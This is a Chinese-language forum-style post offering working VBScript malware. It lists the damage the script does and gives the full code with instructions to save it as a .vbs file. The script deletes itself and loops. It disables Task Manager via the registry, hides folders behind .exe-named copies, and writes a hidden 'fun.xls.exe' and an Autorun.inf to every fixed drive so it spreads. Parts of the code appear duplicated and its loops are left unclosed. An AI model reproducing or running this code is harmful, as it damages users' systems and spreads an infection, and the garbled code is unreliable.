一个vbs小程序

简单介绍一下功能：

1.桌面几乎全部快捷方式被删除

2.所有文件夹被重名名为文件夹名.exe

3.几乎所有文件关联失效

4.根目录下生成"Autorun.inf"文件；

5.根目录下生成"fun.xls.exe"文件(系统隐藏文件，必须去掉隐藏才能看见)；

6.运行后自动删除自己；

7.每隔1分钟运行一次；

8.禁用任务管理器。
代码如下，将其存入记事本中，改后缀名为vbs
【
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Set ws=CreateObject("WScript.Shell")
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr",1,"REG_DWORD"
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next

Set Cx=Nothing
Set Fdrs=Nothing

Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(drv & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv & "\").SubFolders

For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
End If
Next

End If
End If
Next
】